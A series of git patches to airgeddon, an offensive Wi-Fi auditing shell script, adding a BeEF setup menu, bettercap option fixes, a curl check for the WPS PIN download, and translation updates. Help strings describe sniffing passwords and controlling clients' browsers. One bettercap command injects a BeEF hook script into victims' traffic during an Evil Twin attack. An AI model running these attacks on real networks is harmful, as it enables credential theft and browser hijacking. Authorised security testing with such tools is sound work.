arr["FRENCH",411]="3. Retour au menu d'attaques Evil Twin" + arr["CATALAN",411]="3. Tornar al menú d'atacs Evil Twin" + arr["PORTUGUESE",411]="3. Voltar ao menu de ataques Evil Twin" + arr["RUSSIAN",411]="3. Вернуться в меню атак Злой Двойник" + arr["GREEK",411]="3. Επιστροφή στο μενού επιθέσεων Evil Twin" + + arr["ENGLISH",412]="You don't need to perform this action. Your BeEF is operational" + arr["SPANISH",412]="No necesitas realizar esta acción. Tu BeEF está operativo" + arr["FRENCH",412]="${pending_of_translation} Vous n'êtes pas obligé de le faire. Votre BeEF est opérationnel" + arr["CATALAN",412]="${pending_of_translation} No necessites realitzar aquesta acció. El teu BeEF està operatiu" + arr["PORTUGUESE",412]="${pending_of_translation} Você não precisa fazer isso. Suo BeEF está operacional" + arr["RUSSIAN",412]="${pending_of_translation} Вам не нужно, чтобы выполнить это действие. Ваш BeEF находится в рабочем состоянии" + arr["GREEK",412]="${pending_of_translation} Δεν χρειάζεται να εκτελέσετε αυτήν την ενέργεια. BeEF σας είναι λειτουργική" + + arr["ENGLISH",413]="Airgeddon fixed the problem. Your BeEF is operational" + arr["SPANISH",413]="Airgeddon ha solucionado el problema. Tu BeEF está operativo" + arr["FRENCH",413]="${pending_of_translation} Airgeddon a résolu le problème. Votre BeEF est opérationnel" + arr["CATALAN",413]="${pending_of_translation} Airgeddon ha solucionat el problema. El teu BeEF està operatiu" + arr["PORTUGUESE",413]="${pending_of_translation} Airgeddon corrigiu o problema. Suo BeEF está operacional" + arr["RUSSIAN",413]="${pending_of_translation} Airgeddon устранило проблему. Ваш BeEF находится в рабочем состоянии" + arr["GREEK",413]="${pending_of_translation} Airgeddon σταθερό το πρόβλημα. BeEF σας είναι λειτουργική" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" @@ -4506,6 +4601,7 @@ function select_internet_interface() { if [ ${option_counter} -eq 0 ]; then return_to_et_main_menu=1 + return_to_et_main_menu_from_beef=1 echo language_strings "${language}" 280 "red" language_strings "${language}" 115 "read" @@ -4527,6 +4623,7 @@ function select_internet_interface() { invalid_internet_iface_selected elif [ "${inet_iface}" -eq ${option_counter_back} ]; then return_to_et_main_menu=1 + return_to_et_main_menu_from_beef=1 return 1 else option_counter2=0 @@ -5383,6 +5480,7 @@ function initialize_menu_and_print_selections() { "evil_twin_attacks_menu") return_to_et_main_menu=0 retry_handshake_capture=0 + return_to_et_main_menu_from_beef=0 retrying_handshake_capture=0 internet_interface_selected=0 captive_portal_mode="internet" @@ -5404,6 +5502,10 @@ function initialize_menu_and_print_selections() { print_iface_selected print_all_target_vars_wps ;; + "beef_pre_menu") + print_iface_selected + print_all_target_vars_et + ;; *) print_iface_selected print_all_target_vars @@ -5555,6 +5657,13 @@ function print_hint() { randomhint=$(shuf -i 0-"${hintlength}" -n 1) strtoprint=${hints[wps_hints|${randomhint}]} ;; + "beef_pre_menu") + store_array hints beef_hints "${beef_hints[@]}" + hintlength=${#beef_hints[@]} + ((hintlength--)) + randomhint=$(shuf -i 0-"${hintlength}" -n 1) + strtoprint=${hints[beef_hints|${randomhint}]} + ;; esac print_simple_separator @@ -5649,7 +5758,7 @@ function evil_twin_attacks_menu() { language_strings "${language}" 257 "separator" language_strings "${language}" 259 et_sniffing_dependencies[@] language_strings "${language}" 261 et_sniffing_sslstrip_dependencies[@] - language_strings "${language}" 396 et_sniffing_sslstrip2_dependencies[@] + language_strings "${language}" 396 language_strings "${language}" 262 "separator" language_strings "${language}" 263 et_captive_portal_dependencies[@] print_simple_separator @@ -5719,21 +5828,7 @@ function evil_twin_attacks_menu() { fi ;; 8) - contains_element "${et_option}" "${forbidden_options[@]}" - if [ "$?" = "0" ]; then - forbidden_menu_option - else - check_interface_wifi - if [ "$?" = "0" ]; then - et_mode="et_sniffing_sslstrip2" - get_bettercap_version - et_dos_menu - else - echo - language_strings "${language}" 281 "red" - language_strings "${language}" 115 "read" - fi - fi + beef_pre_menu ;; 9) contains_element "${et_option}" "${forbidden_options[@]}" @@ -5769,6 +5864,67 @@ function evil_twin_attacks_menu() { evil_twin_attacks_menu } +#BeEF pre attack menu +function beef_pre_menu() { + + if [ ${return_to_et_main_menu_from_beef} -eq 1 ]; then + return + fi + + search_for_beef + + clear + language_strings "${language}" 407 "title" + current_menu="beef_pre_menu" + initialize_menu_and_print_selections + echo + language_strings "${language}" 47 "green" + print_simple_separator + language_strings "${language}" 409 et_sniffing_sslstrip2_dependencies[@] + language_strings "${language}" 410 + print_simple_separator + language_strings "${language}" 411 + print_hint ${current_menu} + + read -r beef_option + case ${beef_option} in + 1) + contains_element "${beef_option}" "${forbidden_options[@]}" + if [ "$?" = "0" ]; then + forbidden_menu_option + else + check_interface_wifi + if [ "$?" = "0" ]; then + et_mode="et_sniffing_sslstrip2" + get_bettercap_version + et_dos_menu + else + echo + language_strings "${language}" 281 "red" + language_strings "${language}" 115 "read" + fi + fi + ;; + 2) + if [[ "${beef_found}" -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 1 ]]; then + echo + language_strings "${language}" 412 "red" + language_strings "${language}" 115 "read" + else + prepare_beef_start "check" + fi + ;; + 3) + return + ;; + *) + invalid_menu_option + ;; + esac + + beef_pre_menu +} + #WPS attacks menu function wps_attacks_menu() { @@ -6829,7 +6985,6 @@ function exec_et_sniffing_sslstrip2_attack() { set_std_internet_routing_rules launch_dhcp_server exec_et_deauth - prepare_beef_start if [ "${beef_found}" -eq 1 ]; then set_beef_config else @@ -8105,16 +8260,96 @@ function detect_fake_beef() { done } -#Prepare system to work with beef +#Search for BeEF path +function search_for_beef() { + + if [ "${beef_found}" -eq 0 ]; then + for item in "${possible_beef_known_locations[@]}"; do + if [ -f "${item}beef" ]; then + beef_path="${item}" + beef_found=1 + break + fi + done + fi +} + +#Prepare system to work with BeEF function prepare_beef_start() { - for item in "${possible_beef_known_locations[@]}"; do - if [ -f "${item}beef" ]; then - beef_path="${item}" - beef_found=1 - break + valid_possible_beef_path=0 + if [[ ${beef_found} -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 0 ]]; then + language_strings "${language}" 405 "blue" + ask_yesno 191 + if [ ${yesno} = "y" ]; then + + while [[ "${valid_possible_beef_path}" != "1" ]]; do + echo + language_strings "${language}" 402 "green" + read -r manually_entered_beef_path + if [ -n "${manually_entered_beef_path}" ]; then + lastcharmanually_entered_beef_path=${manually_entered_beef_path: -1} + if [ "${lastcharmanually_entered_beef_path}" != "/" ]; then + manually_entered_beef_path="${manually_entered_beef_path}/" + fi + + firstcharmanually_entered_beef_path=${manually_entered_beef_path:0:1} + if [ "${firstcharmanually_entered_beef_path}" != "/" ]; then + language_strings "${language}" 404 "red" + else + if [ -d "${manually_entered_beef_path}" ]; then + if [ -f "${manually_entered_beef_path}beef" ]; then + head "${manually_entered_beef_path}beef" -n 1 2> /dev/null| grep ruby > /dev/null + if [ "$?" = "0" ]; then + possible_beef_known_locations+=(${manually_entered_beef_path}) + valid_possible_beef_path=1 + else + language_strings "${language}" 406 "red" + fi + else + language_strings "${language}" 406 "red" + fi + else + language_strings "${language}" 403 "red" + fi + fi + fi + done + search_for_beef fi - done + + if [[ ${beef_found} -eq 1 ]] && [[ ${valid_possible_beef_path} -eq 1 ]]; then + fix_beef_executable "${manually_entered_beef_path}" + fi + + if [ ${beef_found} -eq 1 ]; then + echo + language_strings "${language}" 413 "yellow" + language_strings "${language}" 115 "read" + fi + elif [[ "${beef_found}" -eq 1 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 0 ]]; then + fix_beef_executable "${beef_path}" + echo + language_strings "${language}" 413 "yellow" + language_strings "${language}" 115 "read" + elif [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 1 ]] && [[ "${1}" = "check" ]]; then + echo + language_strings "${language}" 412 "red" + language_strings "${language}" 115 "read" + fi +} + +#Fix for not found beef executable +function fix_beef_executable() { + + rm -rf "/usr/bin/beef" > /dev/null 2>&1 + { + echo -e "#!/bin/bash\n" + echo -e "cd ${1}" + echo -e "./beef" + } >> "/usr/bin/beef" + chmod +x "/usr/bin/beef" > /dev/null 2>&1 + optional_tools[${optional_tools_names[19]}]=1 } #Start beef process as a service @@ -9289,6 +9524,7 @@ function et_prerequisites() { ask_yesno 277 if [ ${yesno} = "n" ]; then return_to_et_main_menu=1 + return_to_et_main_menu_from_beef=1 return fi fi @@ -9354,6 +9590,7 @@ function et_prerequisites() { fi return_to_et_main_menu=1 + return_to_et_main_menu_from_beef=1 echo language_strings "${language}" 296 "yellow" language_strings "${language}" 115 "read" @@ -9370,6 +9607,7 @@ function et_prerequisites() { exec_et_sniffing_sslstrip_attack ;; "et_sniffing_sslstrip2") + prepare_beef_start "not_check" exec_et_sniffing_sslstrip2_attack ;; "et_captive_portal") @@ -9582,6 +9820,7 @@ function et_dos_menu() { fi ;; 4) + return_to_et_main_menu_from_beef=1 return ;; *) From 255fc335a3d70bfe5577d6577d5982a0050abe32 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 17 Jan 2017 21:42:55 +0100 Subject: [PATCH 26/55] Some catalan translations updated --- airgeddon.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 7ce84205d..2288070a0 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -519,7 +519,7 @@ function language_strings() { et_misc_texts["ENGLISH",27]="This attack has two parts. Watch the sniffer's screen to see if a password appears. You can also open BeEF control panel at ${white_color}${beef_control_panel_url}${pink_color} , log in (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) and try to control the clients browser" et_misc_texts["SPANISH",27]="Este ataque tiene dos partes. Estate atento a la pantalla del sniffer para ver si aparece alguna contraseña. También puedes abrir el panel de control de BeEF en ${white_color}${beef_control_panel_url}${pink_color} , hacer login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e intentar controlar el navegador de los clientes" et_misc_texts["FRENCH",27]="${pending_of_translation} Cette attaque comporte deux parties. Vérifiez pendant l'attaque dans la console du sniffeur si un mot de passe a été capturé. Vous pouvez également ouvrir le BeEF du panneau de commande dans ${white_color}${beef_control_panel_url}${pink_color} , pour vous connecter (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) et essayer de contrôler le navigateur client" - et_misc_texts["CATALAN",27]="${pending_of_translation} Aquest atac té dues parts. Amb aquest atac, estigues atent a la pantalla de l'sniffer per veure si apareix alguna contrasenya. També pots obrir el panell de control de BeEF en ${white_color}${beef_control_panel_url}${pink_color} , fer login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) i intentar controlar el navegador dels clients" + et_misc_texts["CATALAN",27]="Aquest atac té dues parts. Amb aquest atac, estigues atent a la pantalla de l'sniffer per veure si apareix alguna contrasenya. També pots obrir el panell de control de BeEF en ${white_color}${beef_control_panel_url}${pink_color} , fer login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) i intentar controlar el navegador dels clients" et_misc_texts["PORTUGUESE",27]="${pending_of_translation} Este ataque tem duas partes. Com este ataque, fique atento na tela do sniffer para ver se aparece alguma senha. Você também pode abrir BeEF painel de controle no ${white_color}${beef_control_panel_url}${pink_color} , para login (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) e tentar controlar o navegador do clientes" et_misc_texts["RUSSIAN",27]="Эта атака идёт по двум направлениям. Вы можете наблюдать за окном сниффера, чтобы отследить появление пароля. Также можете перейти в панель управления BeEF ${white_color}${beef_control_panel_url}${pink_color} , учётные данные для входа (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) и попытаться управлять браузером клиентов" et_misc_texts["GREEK",27]="Αυτή η επίθεση έχει δύο μέρη. Παρακολουθήστε την οθόνη του sniffer για να δείτε εαν εμφανιστεί κάποιος κωδικός. Μπορείτε επίσης να ανοίξετε τον πίνακα ελέγχου του BeEF στο ${white_color}${beef_control_panel_url}${pink_color} , συνδεθείτε (user: ${white_color}beef${pink_color} / pass: ${white_color}${beef_pass}${pink_color}) και προσπαθείστε να ελέγξετε τον browser του χρήστη-πελάτη" @@ -3728,7 +3728,7 @@ function language_strings() { arr["ENGLISH",400]="On Evil Twin attack with BeEF integrated, in addition to obtaining keys using sniffing techniques, you can try to control the client's browser launching numerous attack vectors. The success of these will depend on many factors such as the kind of client's browser and its version" arr["SPANISH",400]="En el ataque Evil Twin con BeEF integrado, además de obtener claves con sniffing, podrás intentar controlar el navegador de los clientes lanzando numerosos vectores de ataque. El éxito de estos dependerá de muchos factores como el tipo de navegador y la versión que utilice el cliente" arr["FRENCH",400]="${pending_of_translation} Dans l'attaque Evil Twin avec BeEF intégré, plus obtenir les clés avec reniflant, vous pouvez essayer de contrôler le navigateur du client lançant de nombreux vecteurs d'attaque. Le succès de ces dépendent de nombreux facteurs tels que le type et version du navigateur utilisé par le client" - arr["CATALAN",400]="${pending_of_translation} En l'atac Evil Twin amb Beef integrat, a més d'obtenir claus amb sniffing, podràs intentar controlar el navegador dels clients llançant nombrosos vectors d'atac. L'èxit d'aquests dependrà de molts factors com el tipus de navegador i la versió que utilitzi el client" + arr["CATALAN",400]="En l'atac Evil Twin amb Beef integrat, a més d'obtenir claus amb sniffing, podràs intentar controlar el navegador dels clients llançant nombrosos vectors d'atac. L'èxit d'aquests dependrà de molts factors com el tipus de navegador i la versió que utilitzi el client" arr["PORTUGUESE",400]="${pending_of_translation} No ataque Evil Twin com carne integrado, além de obter chaves com sniffing, você pode tentar controlar o navegador do cliente lançando inúmeros vetores de ataque. O sucesso destes dependerá de muitos fatores, tais como tipo de navegador e versão utilizada pelo cliente" arr["RUSSIAN",400]="С атакой Злой Двойник в дополнении к получению паролей, применяя техники сниффинга, вы можете попробовать контролировать клиентский браузер, запуская атаки по ряду векторов. Их успех зависит от многих факторов, в том числе от типа и версии клиентского браузера" arr["GREEK",400]="Στην επίθεση Evil Twin με ενσωματωμένο BeEF, εκτός από την απόκτηση κλειδιών με τη χρήση τεχνικών sniffing, μπορείτε να προσπαθήσετε να ελέγξετε τον browser του χρήστη-πελάτη κάνοντας χρήση κάποιων attack vectors. Η επιτυχία αυτών θα εξαρτηθεί από πολλούς παράγοντες όπως το είδος του browser του χρήστη-πελάτη και την έκδοσή του" @@ -3736,7 +3736,7 @@ function language_strings() { arr["ENGLISH",401]="The beef package you have installed is not BeEF (Browser Exploitation Framework). You have Beef (Flexible Brainfuck interpreter) installed. Both executables have the same name and can lead to confusion. Uninstall it and install what airgeddon needs if you want to use that feature. Installation guide: ${beef_installation_url}" arr["SPANISH",401]="El paquete beef que tienes instalado no es BeEF (Browser Exploitation Framework). Tienes instalado Beef (Flexible Brainfuck interpreter). Ambos ejecutables se llaman igual y puede dar lugar a confusión. Desinstálalo e instala el que airgeddon necesita si quieres usar esa característica. Guía de instalación: ${beef_installation_url}" arr["FRENCH",401]="${pending_of_translation} Le paquet de beef que vous avez installé est pas BeEF (Browser Exploitation Framework). Vous avez installé Beef (Flexible Brainfuck interpreter). Les deux même nom exécutable et peut conduire à la confusion. Désinstallez et installez airgeddon besoin si vous souhaitez utiliser cette fonctionnalité. Guide d'installation: ${beef_installation_url}" - arr["CATALAN",401]="${pending_of_translation} El paquet beef que tens instal·lat no és BeEF (Browser Exploitation Framework). Tens instal·lat Beef (Flexible Brainfuck interpreter). Tots dos executables es diuen igual i pot donar lloc a confusió. Desinstalalo i instal·la el que airgeddon necessita si vols utilitzar aquesta característica. Guia d'instal·lació: ${beef_installation_url}" + arr["CATALAN",401]="El paquet beef que tens instal·lat no és BeEF (Browser Exploitation Framework). Tens instal·lat Beef (Flexible Brainfuck interpreter). Tots dos executables es diuen igual i pot donar lloc a confusió. Desinstalalo i instal·la el que airgeddon necessita si vols utilitzar aquesta característica. Guia d'instal·lació: ${beef_installation_url}" arr["PORTUGUESE",401]="${pending_of_translation} O beef de ter instalado não é BeEF (Browser Exploitation Framework). Você instalou Beef (Flexible Brainfuck interpreter). Ambos mesmo nome executável e pode levar a confusão. Desinstalá-lo e instalá-lo airgeddon precisa se você quiser usar esse recurso. Guia de Instalação: ${beef_installation_url}" arr["RUSSIAN",401]="${pending_of_translation} Пакет beef вы установили не BeEF (Browser Exploitation Framework). У вас есть Beef (Flexible Brainfuck interpreter) установлен. Оба исполняемые файлы имеют одинаковое имя и может привести к путанице. Удалите его и установить, что airgeddon потребности, если вы хотите использовать эту функцию. Инструкция по установке: ${beef_installation_url}" arr["GREEK",401]="Το πακέτο beef που έχετε εγκαταστημένο δεν είναι το BeEF (Browser Exploitation Framework). Έχετε εγκατεστημένο το Beef (Flexible Brainfuck interpreter). Και τα δύο εκτελέσιμα αρχεία έχουν το ίδιο όνομα και μπορεί να γίνει κάποιο μπέρδεμα. Απεγκαταστήστε το και εγκαταστήστε αυτό που χρειάζεται το airgeddon, αν θέλετε να χρησιμοποιήσετε αυτή την επιλογή. Οδηγός εγκατάστασης: ${beef_installation_url}" From c87984fce6f89a4e0f877826a59fa7d7d07fe163 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 17 Jan 2017 21:48:06 +0100 Subject: [PATCH 27/55] Fix no-http-logs error in old bettercap versions. --- airgeddon.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 2288070a0..7ab4cbe99 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -155,7 +155,7 @@ internet_dns2="8.8.4.4" sslstrip_port="10000" bettercap_proxy_port="8080" bettercap_dns_port="5300" -minimum_bettercap_disable_parsers_version="1.5.9" +minimum_bettercap_advanced_options="1.5.9" sslstrip_file="ag.sslstrip.log" ettercap_file="ag.ettercap.log" bettercap_file="ag.bettercap.log" @@ -8388,11 +8388,11 @@ function launch_bettercap_sniffing() { recalculate_windows_sizes sniffing_scr_window_position=${g4_bottomright_window} - if compare_floats_greater_or_equal "${bettercap_version}" "${minimum_bettercap_disable_parsers_version}"; then - bettercap_disable_parsers="--disable-parsers URL,HTTPS,DHCP " + if compare_floats_greater_or_equal "${bettercap_version}" "${minimum_bettercap_advanced_options}"; then + bettercap_extra_cmd_options="--disable-parsers URL,HTTPS,DHCP --no-http-logs" fi - bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_disable_parsers}--no-http-logs --proxy-module injectjs --js-url \"http://${et_ip_router}:${beef_port}/${jshookfile}\" --dns-port ${bettercap_dns_port}" + bettercap_cmd="bettercap -I ${interface} -X -S NONE --no-discovery --proxy --proxy-port ${bettercap_proxy_port} ${bettercap_extra_cmd_options} --proxy-module injectjs --js-url \"http://${et_ip_router}:${beef_port}/${jshookfile}\" --dns-port ${bettercap_dns_port}" if [ ${bettercap_log} -eq 1 ]; then bettercap_cmd+=" -O \"${tmp_bettercaplog}\"" From 82470a89137ac3c18d0993147feca3373ff2d302 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Wed, 18 Jan 2017 13:02:29 +0100 Subject: [PATCH 28/55] Removed unused paramenter on prepare_beef_start function --- airgeddon.sh | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 7ab4cbe99..996738e3e 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -5911,7 +5911,7 @@ function beef_pre_menu() { language_strings "${language}" 412 "red" language_strings "${language}" 115 "read" else - prepare_beef_start "check" + prepare_beef_start fi ;; 3) @@ -8332,7 +8332,7 @@ function prepare_beef_start() { echo language_strings "${language}" 413 "yellow" language_strings "${language}" 115 "read" - elif [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 1 ]] && [[ "${1}" = "check" ]]; then + elif [[ "${beef_found}" -eq 0 ]] && [[ ${optional_tools[${optional_tools_names[19]}]} -eq 1 ]]; then echo language_strings "${language}" 412 "red" language_strings "${language}" 115 "read" @@ -9607,7 +9607,6 @@ function et_prerequisites() { exec_et_sniffing_sslstrip_attack ;; "et_sniffing_sslstrip2") - prepare_beef_start "not_check" exec_et_sniffing_sslstrip2_attack ;; "et_captive_portal") From d2d8a9b9a1e5b4f4d1d3190c27751a05da09f241 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Wed, 18 Jan 2017 13:46:48 +0100 Subject: [PATCH 29/55] Fix error trying to download PIN database for WPS attacks which requires db file when you don't have installed curl --- airgeddon.sh | 64 +++++++++++++++++++++++++++++++++++----------------- 1 file changed, 43 insertions(+), 21 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 996738e3e..055b368dc 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3837,6 +3837,14 @@ function language_strings() { arr["RUSSIAN",413]="${pending_of_translation} Airgeddon устранило проблему. Ваш BeEF находится в рабочем состоянии" arr["GREEK",413]="${pending_of_translation} Airgeddon σταθερό το πρόβλημα. BeEF σας είναι λειτουργική" + arr["ENGLISH",414]="You don't have curl installed. Is not possible to download PINs database file" + arr["SPANISH",414]="No tienes curl instalado. No se puede descargar el fichero de la base de datos de PINs" + arr["FRENCH",414]="${pending_of_translation} Vous ne disposez pas de curl installé. Vous ne pouvez pas télécharger le fichier à partir des PINs de base de données" + arr["CATALAN",414]="${pending_of_translation} No tens curl instal·lat. No es pot descarregar el fitxer de la base de dades de PINs" + arr["PORTUGUESE",414]="${pending_of_translation} Você não tem curl instalado. Você não pode baixar o arquivo de os PINs de banco de dados" + arr["RUSSIAN",414]="${pending_of_translation} У вас не установлен curl. Не возможно загрузить файл базы данных PINs" + arr["GREEK",414]="${pending_of_translation} Δεν έχετε εγκατεστημένο curl. Δεν είναι δυνατόν να κατεβάσετε τα PIN αρχείου βάσης δεδομένων" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" @@ -6083,6 +6091,7 @@ function wps_attacks_menu() { set_script_folder_and_name fi + db_error=0 if [[ ${pin_dbfile_checked} -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then check_pins_database_file if [ "$?" = "0" ]; then @@ -6091,15 +6100,19 @@ function wps_attacks_menu() { else echo language_strings "${language}" 372 "red" + db_error=1 fi else echo language_strings "${language}" 379 "blue" fi language_strings "${language}" 115 "read" - wps_attacks_parameters - if [ "$?" = "0" ]; then - exec_wps_pin_database_bully_attack + + if [ "${db_error}" -eq 0 ]; then + wps_attacks_parameters + if [ "$?" = "0" ]; then + exec_wps_pin_database_bully_attack + fi fi fi ;; @@ -6114,6 +6127,7 @@ function wps_attacks_menu() { set_script_folder_and_name fi + db_error=0 if [[ ${pin_dbfile_checked} -eq 0 ]] || [[ ! -f "${scriptfolder}${known_pins_dbfile}" ]]; then check_pins_database_file if [ "$?" = "0" ]; then @@ -6122,15 +6136,18 @@ function wps_attacks_menu() { else echo language_strings "${language}" 372 "red" + db_error=1 fi else echo language_strings "${language}" 379 "blue" fi language_strings "${language}" 115 "read" - wps_attacks_parameters - if [ "$?" = "0" ]; then - exec_wps_pin_database_reaver_attack + if [ "${db_error}" -eq 0 ]; then + wps_attacks_parameters + if [ "$?" = "0" ]; then + exec_wps_pin_database_reaver_attack + fi fi fi ;; @@ -10211,23 +10228,28 @@ function check_pins_database_file() { else language_strings "${language}" 374 "yellow" echo - language_strings "${language}" 287 "blue" - check_internet_access "${host_to_check_internet}" - if [ "$?" != "0" ]; then - echo - language_strings "${language}" 375 "yellow" - return 1 - else - echo - download_pins_database_file - if [ "$?" = "0" ]; then - language_strings "${language}" 377 "yellow" - pin_dbfile_checked=1 - return 0 - else - language_strings "${language}" 378 "yellow" + if hash curl 2> /dev/null; then + language_strings "${language}" 287 "blue" + check_internet_access "${host_to_check_internet}" + if [ "$?" != "0" ]; then + echo + language_strings "${language}" 375 "yellow" return 1 + else + echo + download_pins_database_file + if [ "$?" = "0" ]; then + language_strings "${language}" 377 "yellow" + pin_dbfile_checked=1 + return 0 + else + language_strings "${language}" 378 "yellow" + return 1 + fi fi + else + language_strings "${language}" 414 "yellow" + return 1 fi fi } From 4a0c65bb720598c45d9916d8bcb0cf7b37889a31 Mon Sep 17 00:00:00 2001 From: Sotiris Roussis Date: Wed, 18 Jan 2017 18:53:49 +0200 Subject: [PATCH 30/55] Updated Greek translations --- airgeddon.sh | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 055b368dc..7714751bb 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -3747,7 +3747,7 @@ function language_strings() { arr["CATALAN",402]="${pending_of_translation} Introdueix la ruta absoluta del directori on està instal·lat BeEF :" arr["PORTUGUESE",402]="${pending_of_translation} Digite o caminho absoluto do diretório onde BeEF está instalado :" arr["RUSSIAN",402]="${pending_of_translation} Введите абсолютный путь к каталогу, в котором установлен BeEF :" - arr["GREEK",402]="${pending_of_translation} Πληκτρολογήστε την απόλυτη διαδρομή του καταλόγου όπου έχει εγκατασταθεί το BeEF :" + arr["GREEK",402]="Εισάγετε το απόλυτο μονοπάτι για τον κατάλογο στον όποιο βρίσκεται εγκατεστημένο το BeEF :" arr["ENGLISH",403]="The directory you entered doesn't exist" arr["SPANISH",403]="El directorio introducido no existe" @@ -3755,7 +3755,7 @@ function language_strings() { arr["CATALAN",403]="${pending_of_translation} El directori introduït no existeix" arr["PORTUGUESE",403]="${pending_of_translation} O diretório digitado não existe" arr["RUSSIAN",403]="${pending_of_translation} Каталог, который вы ввели, не существует" - arr["GREEK",403]="${pending_of_translation} Ο κατάλογος που δώσατε δεν υπάρχει" + arr["GREEK",403]="Ο κατάλογος που έχετε εισάγει δεν υπάρχει" arr["ENGLISH",404]="The entered path isn't absolute. An absolute path must always begin with \"/\"" arr["SPANISH",404]="La ruta introducida no es absoluta. Una ruta absoluta siempre debe comenzar por \"/\"" @@ -3763,7 +3763,7 @@ function language_strings() { arr["CATALAN",404]="${pending_of_translation} La ruta introduïda no és absoluta. Una ruta absoluta sempre ha de començar per \"/\"" arr["PORTUGUESE",404]="${pending_of_translation} O caminho digitado não é absoluta. Um caminho absoluto deve sempre começar com \"/\"" arr["RUSSIAN",404]="${pending_of_translation} Введенный путь не является абсолютным. Абсолютный путь всегда должен начинаться с \"/\"" - arr["GREEK",404]="${pending_of_translation} Η τέθηκε διαδρομή δεν είναι απόλυτη. Μια απόλυτη διαδρομή πρέπει πάντα να αρχίζει με \"/\"" + arr["GREEK",404]="Το μονοπάτι που έχετε εισάγει δεν είναι απόλυτο. Ένα απόλυτο μονοπάτι πρέπει πάντα να ξεκινάει με \"/\"" arr["ENGLISH",405]="Checking BeEF..." arr["SPANISH",405]="Comprobando BeEF..." @@ -3771,7 +3771,7 @@ function language_strings() { arr["CATALAN",405]="${pending_of_translation} Comprovant BeEF..." arr["PORTUGUESE",405]="${pending_of_translation} Verificando BeEF..." arr["RUSSIAN",405]="${pending_of_translation} проверка BeEF..." - arr["GREEK",405]="${pending_of_translation} Ελεγχος BeEF..." + arr["GREEK",405]="Γίνεται έλεγχος του BeEF..." arr["ENGLISH",406]="No BeEF executable was detected in given directory" arr["SPANISH",406]="No se ha detectado un ejecutable de BeEF en el directorio indicado" @@ -3779,7 +3779,7 @@ function language_strings() { arr["CATALAN",406]="${pending_of_translation} No s'ha detectat un executable de BeEF al directori indicat" arr["PORTUGUESE",406]="${pending_of_translation} Não detectou um BeEF executável no diretório especificado" arr["RUSSIAN",406]="${pending_of_translation} Ни один исполняемый файл BeEF не был обнаружен в заданной директории" - arr["GREEK",406]="${pending_of_translation} Δεν BeEF εκτελέσιμο ανιχνεύθηκε σε συγκεκριμένο κατάλογο" + arr["GREEK",406]="Δεν εντοπίστηκε κάποιο εκτελέσιμο αρχείο BeEF στον κατάλογο που έχετε εισάγει" arr["ENGLISH",407]="BeEF preparation" arr["SPANISH",407]="Preparación BeEF" @@ -3787,7 +3787,7 @@ function language_strings() { arr["CATALAN",407]="${pending_of_translation} Preparació BeEF" arr["PORTUGUESE",407]="${pending_of_translation} Preparação BeEF" arr["RUSSIAN",407]="${pending_of_translation} подготовка BeEF" - arr["GREEK",407]="${pending_of_translation} προετοιμασία BeEF" + arr["GREEK",407]="Προετοιμασία του BeEF" arr["ENGLISH",408]="If you installed BeEF manually, Airgeddon might not be able to find it and the attack option can appear as restricted. You can try to solve it using the special menu option to fix this. It will work only if BeEF is already correctly installed and your unique problem is the script is not detecting it" arr["SPANISH",408]="Si instalaste BeEF manualmente, puede que Airgeddon no sea capaz de encontrarlo y la opción del ataque te aparezca restringida. Puedes intentar solucionarlo usando la opción del menú especial para ello. Esto sólo funcionará si BeEF ya está instalado correctamente y el único problema que tienes es que el script no lo detecta" @@ -3795,7 +3795,7 @@ function language_strings() { arr["CATALAN",408]="${pending_of_translation} Si vas instal·lar BeEF manualment, pot ser que Airgeddon no sigui capaç de trobar-lo i l'opció de l'atac t'aparegui restringida. Pots intentar solucionar-usant l'opció del menú especial per a això. Això només funcionarà si BeEF ja està instal·lat correctament i l'únic problema que tens és que el script no el detecta" arr["PORTUGUESE",408]="${pending_of_translation} Se BeEF instalado manualmente, você pode não Airgeddon ser capaz de encontrar e opção de ataque aparecerá restrito. Você pode tentar corrigi-lo usando a opção de menu especial para isso. Isso só vai funcionar se BeEF já está instalado com êxito e o único problema que você tem é que o script não detecta" arr["RUSSIAN",408]="${pending_of_translation} Если вы установили вручную BeEF, Airgeddon может быть не в состоянии найти это и вариант атаки может появиться как ограничено. Вы можете попытаться решить эту проблему с помощью специального пункта меню, чтобы исправить это. 